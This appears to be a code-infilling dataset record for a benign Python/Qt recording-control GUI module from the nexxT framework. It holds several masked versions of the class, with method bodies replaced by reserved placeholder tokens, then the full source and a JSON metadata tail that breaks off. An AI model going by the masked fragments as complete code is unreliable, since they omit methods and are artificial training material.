to.setWrapMode(QTextOption.NoWrap)
self._statusLabel.setTextOption(to)
self._statusLabel.setElideMode(Qt.ElideMiddle)
toolLayout.addWidget(self._directoryLabel)
toolLayout.addWidget(self._statusLabel, stretch=100)
self.statusUpdate.connect(self._onUpdateStatus)
self.notifyError.connect(self._onNotifyError)
def _startTriggered(self):
self.startRecording(self._directory)
self.actStart.setEnabled(False)
self.actStop.setEnabled(True)
def _stopTriggered(self):
self.stopRecording()
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
def _setDir(self):
tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,
caption='Select recording target directory', dir=self._directory)
if tdir != '' and tdir is not None:
self._directory = str(Path(tdir).absolute())
self._directoryLabel.setText(self._directory)
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def _defineProperties(self):
propertyCollection = self._config.guiState()
propertyCollection.defineProperty('RecordingControl_directory', str
(Path('.').absolute()), 'Target directory for recordings')
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class MVCRecordingControlGUI(MVCRecordingControlBase):
<|reserved_special_token_0|>
def __init__(self, config):
assertMainThread()
super().__init__(config)
self._directory = str(Path('.').absolute())
srv = Services.getService('MainWindow')
config.configLoaded.connect(self._restoreState)
config.configAboutToSave.connect(self._saveState)
self._config = config
recMenu = srv.menuBar().addMenu('&Recording')
style = QApplication.style()
self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(
':icons/media-record.svg')), 'Start Recording', self)
self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style
.standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)
self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',
style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',
self)
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self.actStart.triggered.connect(self._startTriggered)
self.actStop.triggered.connect(self._stopTriggered)
self.actSetDir.triggered.connect(self._setDir)
recMenu.addAction(self.actStart)
recMenu.addAction(self.actStop)
recMenu.addAction(self.actSetDir)
self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.
LeftDockWidgetArea, defaultLoc='PlaybackControl')
self.dockWidgetContents = QWidget(self.dockWidget)
self.dockWidget.setWidget(self.dockWidgetContents)
toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents
)
toolLayout.setContentsMargins(0, 0, 0, 0)
toolBar = QToolBar()
toolLayout.addWidget(toolBar)
toolBar.addAction(self.actStart)
toolBar.addAction(self.actStop)
toolBar.addAction(self.actSetDir)
self._directoryLabel = ElidedLabel(self._directory, parent=self.
dockWidgetContents)
to = self._directoryLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._directoryLabel.setTextOption(to)
self._directoryLabel.setElideMode(Qt.ElideMiddle)
self._statusLabel = ElidedLabel('(disabled)', parent=self.
dockWidgetContents)
to = self._statusLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._statusLabel.setTextOption(to)
self._statusLabel.setElideMode(Qt.ElideMiddle)
toolLayout.addWidget(self._directoryLabel)
toolLayout.addWidget(self._statusLabel, stretch=100)
self.statusUpdate.connect(self._onUpdateStatus)
self.notifyError.connect(self._onNotifyError)
def _startTriggered(self):
self.startRecording(self._directory)
self.actStart.setEnabled(False)
self.actStop.setEnabled(True)
def _stopTriggered(self):
self.stopRecording()
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
def _setDir(self):
tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,
caption='Select recording target directory', dir=self._directory)
if tdir != '' and tdir is not None:
self._directory = str(Path(tdir).absolute())
self._directoryLabel.setText(self._directory)
def _supportedFeaturesChanged(self, featureset):
if len(featureset) > 0 and not self.actSetDir.isEnabled():
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(True)
self._statusLabel.setText('inactive')
elif len(featureset) == 0 and self.actSetDir.isEnabled():
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self._statusLabel.setText('(disabled)')
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def _defineProperties(self):
propertyCollection = self._config.guiState()
propertyCollection.defineProperty('RecordingControl_directory', str
(Path('.').absolute()), 'Target directory for recordings')
<|reserved_special_token_0|>
def _restoreState(self):
"""
Restores the state of the playback control from the given property collection
:return:
"""
assertMainThread()
self._defineProperties()
propertyCollection = self._config.guiState()
logger.debug('before restore dir=%s', self._directory)
d = propertyCollection.getProperty('RecordingControl_directory')
if Path(d).exists():
self._directory = d
self._directoryLabel.setText(self._directory)
logger.debug('after restore dir=%s', self._directory)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class MVCRecordingControlGUI(MVCRecordingControlBase):
<|reserved_special_token_0|>
def __init__(self, config):
assertMainThread()
super().__init__(config)
self._directory = str(Path('.').absolute())
srv = Services.getService('MainWindow')
config.configLoaded.connect(self._restoreState)
config.configAboutToSave.connect(self._saveState)
self._config = config
recMenu = srv.menuBar().addMenu('&Recording')
style = QApplication.style()
self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(
':icons/media-record.svg')), 'Start Recording', self)
self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style
.standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)
self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',
style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',
self)
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self.actStart.triggered.connect(self._startTriggered)
self.actStop.triggered.connect(self._stopTriggered)
self.actSetDir.triggered.connect(self._setDir)
recMenu.addAction(self.actStart)
recMenu.addAction(self.actStop)
recMenu.addAction(self.actSetDir)
self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.
LeftDockWidgetArea, defaultLoc='PlaybackControl')
self.dockWidgetContents = QWidget(self.dockWidget)
self.dockWidget.setWidget(self.dockWidgetContents)
toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents
)
toolLayout.setContentsMargins(0, 0, 0, 0)
toolBar = QToolBar()
toolLayout.addWidget(toolBar)
toolBar.addAction(self.actStart)
toolBar.addAction(self.actStop)
toolBar.addAction(self.actSetDir)
self._directoryLabel = ElidedLabel(self._directory, parent=self.
dockWidgetContents)
to = self._directoryLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._directoryLabel.setTextOption(to)
self._directoryLabel.setElideMode(Qt.ElideMiddle)
self._statusLabel = ElidedLabel('(disabled)', parent=self.
dockWidgetContents)
to = self._statusLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._statusLabel.setTextOption(to)
self._statusLabel.setElideMode(Qt.ElideMiddle)
toolLayout.addWidget(self._directoryLabel)
toolLayout.addWidget(self._statusLabel, stretch=100)
self.statusUpdate.connect(self._onUpdateStatus)
self.notifyError.connect(self._onNotifyError)
def _startTriggered(self):
self.startRecording(self._directory)
self.actStart.setEnabled(False)
self.actStop.setEnabled(True)
def _stopTriggered(self):
self.stopRecording()
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
def _setDir(self):
tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,
caption='Select recording target directory', dir=self._directory)
if tdir != '' and tdir is not None:
self._directory = str(Path(tdir).absolute())
self._directoryLabel.setText(self._directory)
def _supportedFeaturesChanged(self, featureset):
if len(featureset) > 0 and not self.actSetDir.isEnabled():
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(True)
self._statusLabel.setText('inactive')
elif len(featureset) == 0 and self.actSetDir.isEnabled():
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self._statusLabel.setText('(disabled)')
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def _defineProperties(self):
propertyCollection = self._config.guiState()
propertyCollection.defineProperty('RecordingControl_directory', str
(Path('.').absolute()), 'Target directory for recordings')
def _saveState(self):
"""
Saves the state of the playback control
:return:
"""
assertMainThread()
self._defineProperties()
propertyCollection = self._config.guiState()
try:
propertyCollection.setProperty('RecordingControl_directory',
self._directory)
except PropertyCollectionPropertyNotFound:
pass
def _restoreState(self):
"""
Restores the state of the playback control from the given property collection
:return:
"""
assertMainThread()
self._defineProperties()
propertyCollection = self._config.guiState()
logger.debug('before restore dir=%s', self._directory)
d = propertyCollection.getProperty('RecordingControl_directory')
if Path(d).exists():
self._directory = d
self._directoryLabel.setText(self._directory)
logger.debug('after restore dir=%s', self._directory)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class MVCRecordingControlGUI(MVCRecordingControlBase):
"""
This service implements a GUI frontend for the recording service
"""
def __init__(self, config):
assertMainThread()
super().__init__(config)
self._directory = str(Path('.').absolute())
srv = Services.getService('MainWindow')
config.configLoaded.connect(self._restoreState)
config.configAboutToSave.connect(self._saveState)
self._config = config
recMenu = srv.menuBar().addMenu('&Recording')
style = QApplication.style()
self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(
':icons/media-record.svg')), 'Start Recording', self)
self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style
.standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)
self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',
style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',
self)
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self.actStart.triggered.connect(self._startTriggered)
self.actStop.triggered.connect(self._stopTriggered)
self.actSetDir.triggered.connect(self._setDir)
recMenu.addAction(self.actStart)
recMenu.addAction(self.actStop)
recMenu.addAction(self.actSetDir)
self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.
LeftDockWidgetArea, defaultLoc='PlaybackControl')
self.dockWidgetContents = QWidget(self.dockWidget)
self.dockWidget.setWidget(self.dockWidgetContents)
toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents
)
toolLayout.setContentsMargins(0, 0, 0, 0)
toolBar = QToolBar()
toolLayout.addWidget(toolBar)
toolBar.addAction(self.actStart)
toolBar.addAction(self.actStop)
toolBar.addAction(self.actSetDir)
self._directoryLabel = ElidedLabel(self._directory, parent=self.
dockWidgetContents)
to = self._directoryLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._directoryLabel.setTextOption(to)
self._directoryLabel.setElideMode(Qt.ElideMiddle)
self._statusLabel = ElidedLabel('(disabled)', parent=self.
dockWidgetContents)
to = self._statusLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._statusLabel.setTextOption(to)
self._statusLabel.setElideMode(Qt.ElideMiddle)
toolLayout.addWidget(self._directoryLabel)
toolLayout.addWidget(self._statusLabel, stretch=100)
self.statusUpdate.connect(self._onUpdateStatus)
self.notifyError.connect(self._onNotifyError)
def _startTriggered(self):
self.startRecording(self._directory)
self.actStart.setEnabled(False)
self.actStop.setEnabled(True)
def _stopTriggered(self):
self.stopRecording()
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
def _setDir(self):
tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,
caption='Select recording target directory', dir=self._directory)
if tdir != '' and tdir is not None:
self._directory = str(Path(tdir).absolute())
self._directoryLabel.setText(self._directory)
def _supportedFeaturesChanged(self, featureset):
if len(featureset) > 0 and not self.actSetDir.isEnabled():
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(True)
self._statusLabel.setText('inactive')
elif len(featureset) == 0 and self.actSetDir.isEnabled():
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self._statusLabel.setText('(disabled)')
def _onUpdateStatus(self, _, file, length, bytesWritten):
lines = self._statusLabel.text().split('\n')
if length < 0:
length = None
if bytesWritten < 0:
bytesWritten = None
updated = False
if bytesWritten is None:
bw = '??'
elif bytesWritten < 1024:
bw = f'{bytesWritten:3d} bytes'
elif bytesWritten < 1024 * 1024:
bw = f'{bytesWritten / 1024:.1f} kb'
elif bytesWritten < 1024 * 1024 * 1024:
bw = f'{bytesWritten / 1024 / 1024:.1f} Mb'
else:
bw = f'{bytesWritten / 1024 / 1024 / 1024:.1f} Gb'
if length is None:
sl = '?? s'
elif length < 60:
sl = f'{length:.1f} sec'
else:
sl = f'{length / 60:.1f} min'
bytesAv = QStorageInfo(file).bytesAvailable()
if (length is not None and bytesWritten is not None and bytesAv >=
0 and bytesWritten > 0):
timeAv = length * bytesAv / bytesWritten - length
if timeAv < 60:
av = f'{timeAv:.1f} sec'
elif timeAv < 3600:
av = f'{timeAv / 60:.1f} min'
else:
av = '> 1 hour'
else:
av = '?? s'
if length is not None or bytesWritten is not None:
newl = Path(file).name + ': ' + sl + ' | ' + bw + ' R: ' + av
else:
newl = None
if newl is not None:
for i, l in enumerate(lines):
if l.startswith(Path(file).name + ':'):
updated = True
lines[i] = newl
break
if not updated:
lines.append(newl)
if lines[0] == 'inactive':
lines = lines[1:]
else:
toDel = None
for i, l in enumerate(lines):
if l.startswith(Path(file).name + ':'):
toDel = i
break
if toDel is not None:
lines = lines[:toDel] + lines[toDel + 1:]
if len(lines) == 0:
lines.append('inactive')
self._statusLabel.setText('\n'.join(lines))
def _onNotifyError(self, originFilter, errorDesc):
lines = self._statusLabel.text().split('\n')
newl = originFilter.objectName() + ': ' + 'ERROR: ' + errorDesc
updated = False
for i, l in enumerate(lines):
if l.startswith(originFilter.objectName() + ':'):
updated = True
lines[i] = newl
break
if not updated:
lines.append(newl)
if lines[0] == 'inactive':
lines = lines[1:]
self._statusLabel.setText('\n'.join(lines))
def _defineProperties(self):
propertyCollection = self._config.guiState()
propertyCollection.defineProperty('RecordingControl_directory', str
(Path('.').absolute()), 'Target directory for recordings')
def _saveState(self):
"""
Saves the state of the playback control
:return:
"""
assertMainThread()
self._defineProperties()
propertyCollection = self._config.guiState()
try:
propertyCollection.setProperty('RecordingControl_directory',
self._directory)
except PropertyCollectionPropertyNotFound:
pass
def _restoreState(self):
"""
Restores the state of the playback control from the given property collection
:return:
"""
assertMainThread()
self._defineProperties()
propertyCollection = self._config.guiState()
logger.debug('before restore dir=%s', self._directory)
d = propertyCollection.getProperty('RecordingControl_directory')
if Path(d).exists():
self._directory = d
self._directoryLabel.setText(self._directory)
logger.debug('after restore dir=%s', self._directory)
<|reserved_special_token_1|>
# SPDX-License-Identifier: Apache-2.0
# Copyright (C) 2020 ifm electronic gmbh
#
# THE PROGRAM IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.
#
"""
This module provides the recording control GUI service for the nexxT framework.
"""
import logging
from pathlib import Path
from nexxT.Qt.QtCore import Qt, QStorageInfo
from nexxT.Qt.QtGui import QAction, QIcon, QTextOption
from nexxT.Qt.QtWidgets import QApplication, QStyle, QWidget, QBoxLayout, QToolBar, QFileDialog
from nexxT.core.Utils import assertMainThread, ElidedLabel
from nexxT.core.Exceptions import PropertyCollectionPropertyNotFound
from nexxT.interface import Services
from nexxT.services.SrvRecordingControl import MVCRecordingControlBase
logger = logging.getLogger(__name__)
class MVCRecordingControlGUI(MVCRecordingControlBase):
"""
This service implements a GUI frontend for the recording service
"""
def __init__(self, config):
assertMainThread()
super().__init__(config)
# state
self._directory = str(Path('.').absolute())
# gui
srv = Services.getService("MainWindow")
config.configLoaded.connect(self._restoreState)
config.configAboutToSave.connect(self._saveState)
self._config = config
recMenu = srv.menuBar().addMenu("&Recording")
style = QApplication.style()
self.actStart = QAction(QIcon.fromTheme("media-record", QIcon(":icons/media-record.svg")),
"Start Recording", self)
self.actStop = QAction(QIcon.fromTheme("media-playback-stop", style.standardIcon(QStyle.SP_MediaStop)),
"Stop Recording", self)
self.actSetDir = QAction(QIcon.fromTheme("document-open-folder", style.standardIcon(QStyle.SP_DirIcon)),
"Choose directory ...", self)
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self.actStart.triggered.connect(self._startTriggered)
self.actStop.triggered.connect(self._stopTriggered)
self.actSetDir.triggered.connect(self._setDir)
recMenu.addAction(self.actStart)
recMenu.addAction(self.actStop)
recMenu.addAction(self.actSetDir)
self.dockWidget = srv.newDockWidget("RecordingControl", None, Qt.LeftDockWidgetArea,
defaultLoc="PlaybackControl")
self.dockWidgetContents = QWidget(self.dockWidget)
self.dockWidget.setWidget(self.dockWidgetContents)
toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents)
toolLayout.setContentsMargins(0, 0, 0, 0)
toolBar = QToolBar()
toolLayout.addWidget(toolBar)
toolBar.addAction(self.actStart)
toolBar.addAction(self.actStop)
toolBar.addAction(self.actSetDir)
self._directoryLabel = ElidedLabel(self._directory, parent=self.dockWidgetContents)
to = self._directoryLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._directoryLabel.setTextOption(to)
self._directoryLabel.setElideMode(Qt.ElideMiddle)
self._statusLabel = ElidedLabel("(disabled)", parent=self.dockWidgetContents)
to = self._statusLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._statusLabel.setTextOption(to)
self._statusLabel.setElideMode(Qt.ElideMiddle)
toolLayout.addWidget(self._directoryLabel)
toolLayout.addWidget(self._statusLabel, stretch=100)
#toolLayout.addStretch(100)
self.statusUpdate.connect(self._onUpdateStatus)
self.notifyError.connect(self._onNotifyError)
def _startTriggered(self):
self.startRecording(self._directory)
self.actStart.setEnabled(False)
self.actStop.setEnabled(True)
def _stopTriggered(self):
self.stopRecording()
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
def _setDir(self):
tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,
caption="Select recording target directory",
dir=self._directory)
if tdir != "" and tdir is not None:
self._directory = str(Path(tdir).absolute())
self._directoryLabel.setText(self._directory)
def _supportedFeaturesChanged(self, featureset):
if len(featureset) > 0 and not self.actSetDir.isEnabled():
self.actStart.setEnabled(True)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(True)
self._statusLabel.setText("inactive")
elif len(featureset) == 0 and self.actSetDir.isEnabled():
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self._statusLabel.setText("(disabled)")
def _onUpdateStatus(self, _, file, length, bytesWritten):
lines = self._statusLabel.text().split("\n")
if length < 0:
length = None
if bytesWritten < 0:
bytesWritten = None
updated = False
if bytesWritten is None:
bw = "??"
elif bytesWritten < 1024:
bw = f"{bytesWritten:3d} bytes"
elif bytesWritten < 1024*1024:
bw = f"{bytesWritten/1024:.1f} kb"
elif bytesWritten < 1024*1024*1024:
bw = f"{bytesWritten/1024/1024:.1f} Mb"
else:
bw = f"{bytesWritten/1024/1024/1024:.1f} Gb"
if length is None:
sl = "?? s"
elif length < 60:
sl = f"{length:.1f} sec"
else:
sl = f"{length/60:.1f} min"
bytesAv = QStorageInfo(file).bytesAvailable()
if length is not None and bytesWritten is not None and bytesAv >= 0 and bytesWritten > 0:
timeAv = length*bytesAv/bytesWritten - length
if timeAv < 60:
av = f"{timeAv:.1f} sec"
elif timeAv < 3600:
av = f"{timeAv/60:.1f} min"
else:
av = "> 1 hour"
else:
av = "?? s"
if length is not None or bytesWritten is not None:
newl = Path(file).name + ": " + sl + " | " + bw + " R: " + av
else:
newl = None
if newl is not None:
for i, l in enumerate(lines):
if l.startswith(Path(file).name + ":"):
updated = True
lines[i] = newl
break
if not updated:
lines.append(newl)
if lines[0] == "inactive":
lines = lines[1:]
else:
toDel = None
for i, l in enumerate(lines):
if l.startswith(Path(file).name + ":"):
toDel = i
break
if toDel is not None:
lines = lines[:toDel] + lines[toDel+1:]
if len(lines) == 0:
lines.append("inactive")
self._statusLabel.setText("\n".join(lines))
def _onNotifyError(self, originFilter, errorDesc):
lines = self._statusLabel.text().split("\n")
newl = originFilter.objectName() + ": " + "ERROR: " + errorDesc
updated = False
for i, l in enumerate(lines):
if l.startswith(originFilter.objectName() + ":"):
updated = True
lines[i] = newl
break
if not updated:
lines.append(newl)
if lines[0] == "inactive":
lines = lines[1:]
self._statusLabel.setText("\n".join(lines))
def _defineProperties(self):
propertyCollection = self._config.guiState()
propertyCollection.defineProperty("RecordingControl_directory",
str(Path('.').absolute()),
"Target directory for recordings")
def _saveState(self):
"""
Saves the state of the playback control
:return:
"""
assertMainThread()
self._defineProperties()
propertyCollection = self._config.guiState()
try:
propertyCollection.setProperty("RecordingControl_directory", self._directory)
except PropertyCollectionPropertyNotFound:
pass
def _restoreState(self):
"""
Restores the state of the playback control from the given property collection
:return:
"""
assertMainThread()
self._defineProperties()
propertyCollection = self._config.guiState()
logger.debug("before restore dir=%s", self._directory)
d = propertyCollection.getProperty("RecordingControl_directory")
if Path(d).exists():
self._directory = d
self._directoryLabel.setText(self._directory)
logger.debug("after restore dir=%s", self._directory)
|
flexible
|
{
"blob_id": "3e4771d074218fb0a77332ee61a4cc49f1c301b7",
"index": 9356,
"step-1": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n <mask token>\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n <mask token>\n <mask token>\n <mask token>\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n <mask token>\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._directoryLabel.setTextOption(to)\n self._directoryLabel.setElideMode(Qt.ElideMiddle)\n self._statusLabel = ElidedLabel('(disabled)', parent=self.\n dockWidgetContents)\n to = self._statusLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n self._statusLabel.setTextOption(to)\n self._statusLabel.setElideMode(Qt.ElideMiddle)\n toolLayout.addWidget(self._directoryLabel)\n toolLayout.addWidget(self._statusLabel, stretch=100)\n self.statusUpdate.connect(self._onUpdateStatus)\n self.notifyError.connect(self._onNotifyError)\n\n def _startTriggered(self):\n self.startRecording(self._directory)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(True)\n\n def _stopTriggered(self):\n self.stopRecording()\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n\n def _setDir(self):\n tdir = QFileDialog.getExistingDirectory(parent=self.dockWidget,\n caption='Select recording target directory', dir=self._directory)\n if tdir != '' and tdir is not None:\n self._directory = str(Path(tdir).absolute())\n self._directoryLabel.setText(self._directory)\n\n def _supportedFeaturesChanged(self, featureset):\n if len(featureset) > 0 and not self.actSetDir.isEnabled():\n self.actStart.setEnabled(True)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(True)\n self._statusLabel.setText('inactive')\n elif len(featureset) == 0 and self.actSetDir.isEnabled():\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self._statusLabel.setText('(disabled)')\n <mask token>\n <mask token>\n\n def _defineProperties(self):\n propertyCollection = self._config.guiState()\n propertyCollection.defineProperty('RecordingControl_directory', str\n (Path('.').absolute()), 'Target directory for recordings')\n <mask token>\n\n def _restoreState(self):\n \"\"\"\n Restores the state of the playback control from the given property collection\n\n :return:\n \"\"\"\n assertMainThread()\n self._defineProperties()\n propertyCollection = self._config.guiState()\n logger.debug('before restore dir=%s', self._directory)\n d = propertyCollection.getProperty('RecordingControl_directory')\n if Path(d).exists():\n self._directory = d\n self._directoryLabel.setText(self._directory)\n logger.debug('after restore dir=%s', self._directory)\n",
"step-3": "<mask token>\n\n\nclass MVCRecordingControlGUI(MVCRecordingControlBase):\n <mask token>\n\n def __init__(self, config):\n assertMainThread()\n super().__init__(config)\n self._directory = str(Path('.').absolute())\n srv = Services.getService('MainWindow')\n config.configLoaded.connect(self._restoreState)\n config.configAboutToSave.connect(self._saveState)\n self._config = config\n recMenu = srv.menuBar().addMenu('&Recording')\n style = QApplication.style()\n self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(\n ':icons/media-record.svg')), 'Start Recording', self)\n self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style\n .standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)\n self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',\n style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',\n self)\n self.actStart.setEnabled(False)\n self.actStop.setEnabled(False)\n self.actSetDir.setEnabled(False)\n self.actStart.triggered.connect(self._startTriggered)\n self.actStop.triggered.connect(self._stopTriggered)\n self.actSetDir.triggered.connect(self._setDir)\n recMenu.addAction(self.actStart)\n recMenu.addAction(self.actStop)\n recMenu.addAction(self.actSetDir)\n self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.\n LeftDockWidgetArea, defaultLoc='PlaybackControl')\n self.dockWidgetContents = QWidget(self.dockWidget)\n self.dockWidget.setWidget(self.dockWidgetContents)\n toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents\n )\n toolLayout.setContentsMargins(0, 0, 0, 0)\n toolBar = QToolBar()\n toolLayout.addWidget(toolBar)\n toolBar.addAction(self.actStart)\n toolBar.addAction(self.actStop)\n toolBar.addAction(self.actSetDir)\n self._directoryLabel = ElidedLabel(self._directory, parent=self.\n dockWidgetContents)\n to = self._directoryLabel.textOption()\n to.setWrapMode(QTextOption.NoWrap)\n 